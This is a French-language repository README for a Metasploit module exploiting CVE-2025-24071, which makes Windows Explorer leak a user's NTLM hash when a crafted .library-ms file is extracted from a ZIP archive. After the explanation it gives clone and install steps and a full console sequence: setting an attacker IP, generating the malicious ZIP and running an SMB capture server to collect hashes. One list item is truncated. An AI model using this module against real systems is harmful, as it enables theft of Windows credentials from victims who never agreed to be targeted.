
Module Metasploit pour CVE-2025-24071 - Fuite de hash NTLM Windows via .library-ms
Ce dépôt contient un module Metasploit pour exploiter CVE-2025-24071, une vulnérabilité dans l'Explorateur Windows qui fuite les hachages NTLM lorsqu'un fichier .library-ms malveillant est extrait d'une archive ZIP.
Développé par : FOLKS-IWD
La vulnérabilité se produit lorsqu'un utilisateur extrait une archive ZIP contenant un fichier .library-ms spécialement conçu. L'Explorateur Windows initie automatiquement une demande d'authentification SMB vers un serveur distant spécifié dans le fichier, divulguant le hachage NTLM de l'utilisateur sans aucune interaction de sa part.
Ce module Metasploit :
.library-ms malveillant.
git clone https://github.com/FOLKS-IWD/CVE-2025-24071-msfvenom.git
cd CVE-2025-24071-msfvenom
cp ntlm_hash_leak.rb ~/.msf4/modules/auxiliary/server/
use auxiliary/server/ntlm_hash_leak
set ATTACKER_IP 192.168.1.162 # Replace with your IP address
set FILENAME exploit.zip # Name of the malicious ZIP file
set LIBRARY_NAME malicious.library-ms # Name of the .library-ms file
set SHARE_NAME shared # SMB share name
run
use auxiliary/server/capture/smb
set SRVHOST 192.168.1.162 # Same as ATTACKER_IP
run